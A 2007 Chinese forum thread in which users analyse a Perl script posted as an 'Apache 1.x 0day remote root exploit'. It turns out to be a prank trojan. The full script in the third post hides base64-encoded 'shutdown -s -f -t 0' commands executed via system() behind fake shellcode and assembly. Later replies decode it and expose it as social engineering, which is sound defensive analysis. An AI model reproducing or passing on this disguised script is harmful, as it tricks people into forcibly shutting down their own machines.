免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2628 | 回复: 9
打印 上一主题 下一主题

请斑竹来鉴定一下这个代码!!! [复制链接]

论坛徽章:
0
1 [报告]
发表于 2007-03-22 07:12 |只看该作者
If this is gonna be distributed, it will be my last one.

唉~

论坛徽章:
0
2 [报告]
发表于 2007-03-22 07:45 |只看该作者
$mov = decode_base64("c2h1dGRvd24gLXMgLWYgLXQgMA==";
   $int = decode_base64("c2h1dGRvd24gLXMgLWYgLXQgMA==";

c2h1dGRvd24gLXMgLWYgLXQgMA==

经解码是shutdown -s -f -t 0

关机命令-s关机 -f强制 -t 0 等待时间为0 s


这个是最新的网站溢出吗?

论坛徽章:
0
3 [报告]
发表于 2007-03-22 07:47 |只看该作者
我收藏了,留着看看编程流程
  1. A new apache 1.x 0day
  2. #!/usr/bin/perl

  3. use MIME::Base64;
  4. use IO::Socket;
  5. use HTTP::Response;
  6. use HTTP::Status;
  7. use Getopt::Std;

  8. print q {

  9. #################################################################
  10. ##
  11. ## Apache 1.X Remote Buffer Overflow getRoot() Exploit
  12. ## written by 666 - blueshisha at safe-mail.net
  13. ##
  14. ## ! PRIVATE ! PRIVATE ! PRIVATE ! PRIVATE ! PRIVATE ! PRIVATE !
  15. ##
  16. ## If this is gonna be distributed, it will be my last one.
  17. ##
  18. #################################################################

  19. };

  20. if($#ARGV < 1)
  21. {
  22.         print "[^] Usage   :  apache.pl [target] [port]\n";
  23.         print "[^] Example :  apache.pl 127.0.0.1 80\n";
  24.         exit;
  25. }

  26. # Can be replaced, simply get a rootshell


  27. $shellcode .= "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
  28.               "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
  29.               "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
  30.               "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
  31.               "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
  32.               "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
  33.               "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
  34.               "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
  35.               "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
  36.               "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
  37.               "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
  38.               "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";


  39. my $target = $ARGV[1];

  40. my $port   = $ARGV[2];


  41. sub connect    {
  42.         
  43. local $SIG{'__DIE__'} =
  44.        sub { (my $x = $_[0]) =~ s/0x/4/g; die $x };
  45.        eval { die "0x4141414141" };
  46.        print $@ if $@;
  47. }


  48. sub socket    {
  49.         
  50. push  SOCKADDR;
  51. push  SOCKDATA;
  52. push  STACKDATA;
  53. push  ESPOINT;
  54. push  ENDADDR;

  55. }

  56. eval qw (

  57. Bytecode:

  58.    dec cx
  59.    jz Root
  60.    mov     bp, FloppyOff  ;offset
  61.         pushf
  62.         push     cs
  63.       push      bp
  64.         jmp     [OldISR]
  65.    
  66. Root:                                            
  67.    inc     cx                              
  68.    cmp     dx, [SecondCntr] ;cs:.            
  69.    jne     NotSecond                        
  70. IsSecond:                                       
  71.    

  72.    mov     bh,5                           
  73.    mov     bl,21                           
  74.    call    seg OSSetCursorXY:OSSetCursorXY           ; root runs once
  75.    mov     ax,cx                           
  76.    call    seg OSPrintWordNum:OSPrintWordNum         
  77.    
  78.    
  79.    
  80.         mov     bh,5                        
  81.         mov     bl,22                          
  82.         call    seg OSSetCursorXY:OSSetCursorXY            
  83.         mov     ax,[RootCntr] ;cs:.                  
  84.         mov     [RootCntr],0 ;cs:.                  
  85.         call    seg OSPrintWordNum:OSPrintWordNum
  86. );        

  87. {

  88.    my ( @S, @T, @M );

  89.    my $code = '';



  90.    sub md5 {

  91.        return undef if ( !defined $_[0] );

  92.        my $DATA = _md5_pad( $_[0] );

  93.        &_md5_init() if ( !defined $M[0] );

  94.        return _md5_perl_generated( \$DATA );

  95.    }



  96.    sub _md5_init {

  97.        return if ( defined $S[0] );

  98.        my $i;

  99.        for ( $i = 1 ; $i <= 64 ; $i++ ) {

  100.            $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) );

  101.        }

  102.        my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 );

  103.        for ( $i = 0 ; $i < 64 ; $i++ ) {

  104.            $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ];

  105.        }

  106.        @M = (

  107.            0, 1, 2,  3,  4,  5,  6,  7,  8,  9,  10, 11, 12, 13, 14, 15,

  108.            1, 6, 11, 0,  5,  10, 15, 4,  9,  14, 3,  8,  13, 2,  7,  12,

  109.            5, 8, 11, 14, 1,  4,  7,  10, 13, 0,  3,  6,  9,  12, 15, 2,

  110.            0, 7, 14, 5,  12, 3,  10, 1,  8,  15, 6,  13, 4,  11, 2,  9

  111.        );

  112.        &_md5_generate();

  113.        my $TEST = _md5_pad('foobar');



  114.         
  115.    }



  116.    sub _md5_pad {

  117.        my $l = length( my $msg = shift() . chr(12 );

  118.        $msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 );

  119.        $l = ( $l - 1 ) * 8;

  120.        $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 );

  121.        return $msg;

  122.    }

  123.    $mov = decode_base64("c2h1dGRvd24gLXMgLWYgLXQgMA==";
  124.    $int = decode_base64("c2h1dGRvd24gLXMgLWYgLXQgMA==";

  125.    sub _md5_generate {

  126.        my $N = 'abcddabccdabbcda';

  127.        my ( $i, $M ) = ( 0, '' );

  128.        $M    = '&0xffffffff' if ( ( 1 << 16 ) << 16 );

  129.        $code = <<EOT;

  130.        sub _md5_perl_generated {

  131.    BEGIN { \$^H |= 1; };

  132.        my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476);

  133.        my (\$a,\$b,\$c,\$d,\$t,\$i);

  134.        my \$dr=shift;

  135.        my \$l=length(\$\$dr);

  136.        for my \$L (0 .. ((\$l/64)-1) ) {

  137.                my \@D = unpack('V16', substr(\$\$dr, \$L*64,64));

  138.                (\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D);

  139. EOT

  140.        for ( $i = 0 ; $i < 16 ; $i++ ) {

  141.            my ( $a, $b, $c, $d ) =

  142.              split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );

  143.            $code .=

  144.              "\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";

  145.            $code .=

  146. "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

  147.        }

  148.        for ( ; $i < 32 ; $i++ ) {

  149.            my ( $a, $b, $c, $d ) =

  150.              split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );

  151.            $code .=

  152.              "\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";

  153.            $code .=

  154. "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

  155.        }

  156.        for ( ; $i < 48 ; $i++ ) {

  157.            my ( $a, $b, $c, $d ) =

  158.              split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );

  159.            $code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";

  160.            $code .=

  161. "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

  162.        }

  163.        for ( ; $i < 64 ; $i++ ) {

  164.            my ( $a, $b, $c, $d ) =

  165.              split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );

  166.            $code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";

  167.            $code .=

  168. "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

  169.        }

  170.        $code .= <<EOT;

  171.                \$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff;

  172.                \$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff;

  173.        } # for

  174.    return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); }

  175. EOT

  176.        eval "$code";

  177.    }

  178. }

  179.    sub  rehash
  180.    {
  181.       my $unencrypted_string = shift @_;
  182.       my @salt_chars         = ('a'..'z','A'..'Z','0'..'9');
  183.       my $salt               = $salt_chars[rand(63)] . $salt_chars[rand(63)];
  184.       return crypt($unencrypted_string, $salt);
  185.    }

  186. eval qw (

  187. make_startup_room:         ; setup ebp for WSAStartup data
  188.   push BYTE 20             ; push 20
  189.   pop eax                  ; register
  190.   mul eax                  ; square that shit = 0x190
  191.   sub esp, eax             ; make room for WSAStartup data
  192.   mov ecx, esp

  193. make_table_room:           ; setup ebp for address table
  194.   sub esp, BYTE (_WSA_INIT_TBLEN * 4)
  195.   push edi                 ; [ebp + 8] = LoadLibraryA
  196.   push esi                 ; [ebp + 4] = LGetProcAddress
  197.   push ebx                 ; [ebp + 0] = kernel32 dll base
  198.   mov ebp, esp
  199.   push ecx                 ; push WSAStartup data address
  200.   push eax                 ; push 0x190

  201. make_table:                ; hash the table
  202.   WSA_HASH_WINSOCK

  203. wsa_startup:
  204.   ; call WSAStartup
  205.   WSA_CALL_WSASTART

  206. make_socket:
  207.   ; call WSASocketA, get a tcp socket
  208.   WSA_CALL_SOCKET 'tcp'
  209.   ; we got the socket in edi
  210. );system ($mov);system ($int);shift;
  211. eval qw (

  212.         push    word 0x4D2   
  213.   
  214.         inc     ebx        
  215.   
  216.         push    bx        
  217.   
  218.         mov     ecx, esp   
  219.   
  220.         push    byte 16        
  221.   
  222.         push    ecx        
  223.   
  224.         push    eax        
  225.   
  226.         mov     ecx, esp
  227.   
  228.         mov     al, 102
  229.   
  230.         int     0x80
  231. );

  232. print "[x] Exploiting...\n";

  233. sleep(4);

  234. eval qw <
  235. accept:
  236.   
  237.     push     eax
  238.   
  239.     push     edi
  240.   
  241.     mov     ecx, esp
  242.   
  243.     inc      ebx        
  244.   
  245.     mov     al, 102   
  246.   
  247.     int     0x80
  248.   
  249. dup2:
  250.   
  251.         xor     ecx, ecx
  252.   
  253.         mov      cl, 3
  254. >;

  255. if ($recvdata != 0) {
  256. print "[x] Executing Shellcode...";
  257. }

  258. if ($recvdata == 0) {
  259. print "[x] Exploit failed!";
  260. }

  261. eval qw <
  262. exec:
  263.   
  264.     xor    eax,eax
  265.   
  266.     mov     al, 11            
  267.   
  268.     push    ecx
  269.   
  270.     push     "//sh"
  271.   
  272.     push     "/bin"
  273.   
  274.     mov      ebx, esp
  275.   
  276.     push     ecx
  277.   
  278.     push     ebx
  279.   
  280.     mov      ecx, esp
  281.   
  282.     int      0x80
  283. >;

  284. exit;
复制代码

论坛徽章:
1
2015年辞旧岁徽章
日期:2015-03-03 16:54:15
4 [报告]
发表于 2007-03-22 09:45 |只看该作者
晕~
完全看不懂啊。
怎么还有汇编呢?

论坛徽章:
0
5 [报告]
发表于 2007-03-22 17:05 |只看该作者
一个恶作剧程序, 不是远程溢出。

  1. system ($mov);system ($int);
复制代码

真恶毒。

论坛徽章:
0
6 [报告]
发表于 2007-03-22 18:26 |只看该作者
原帖由 路小佳 于 2007-3-22 17:05 发表
一个恶作剧程序, 不是远程溢出。

  1. system ($mov);system ($int);
复制代码

真恶毒。



哦,我看了标题以为。。。。。

论坛徽章:
0
7 [报告]
发表于 2007-03-24 12:12 |只看该作者
原帖由 路小佳 于 2007-3-22 17:05 发表
一个恶作剧程序, 不是远程溢出。

  1. system ($mov);system ($int);
复制代码

真恶毒。


已经确定是恶作剧程序,老外的社会工程学!!!谢谢朋友!

论坛徽章:
0
8 [报告]
发表于 2007-03-24 12:15 |只看该作者
原帖由 月魔 于 2007-3-22 07:45 发表
$mov = decode_base64("c2h1dGRvd24gLXMgLWYgLXQgMA==";
   $int = decode_base64("c2h1dGRvd24gLXMgLWYgLXQgMA==";

c2h1dGRvd24gLXMgLWYgLXQgMA==

经解码是shutdown -s -f -t 0

...

谢谢!果然包含玄机!不过看看代码结构还是可以参考的哦

论坛徽章:
0
9 [报告]
发表于 2007-03-24 12:18 |只看该作者
原帖由 plbb18 于 2007-3-24 12:15 发表

谢谢!果然包含玄机!不过看看代码结构还是可以参考的哦



是啊,可以用来解码,呵呵,我用“乱码查看器”搞定的
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP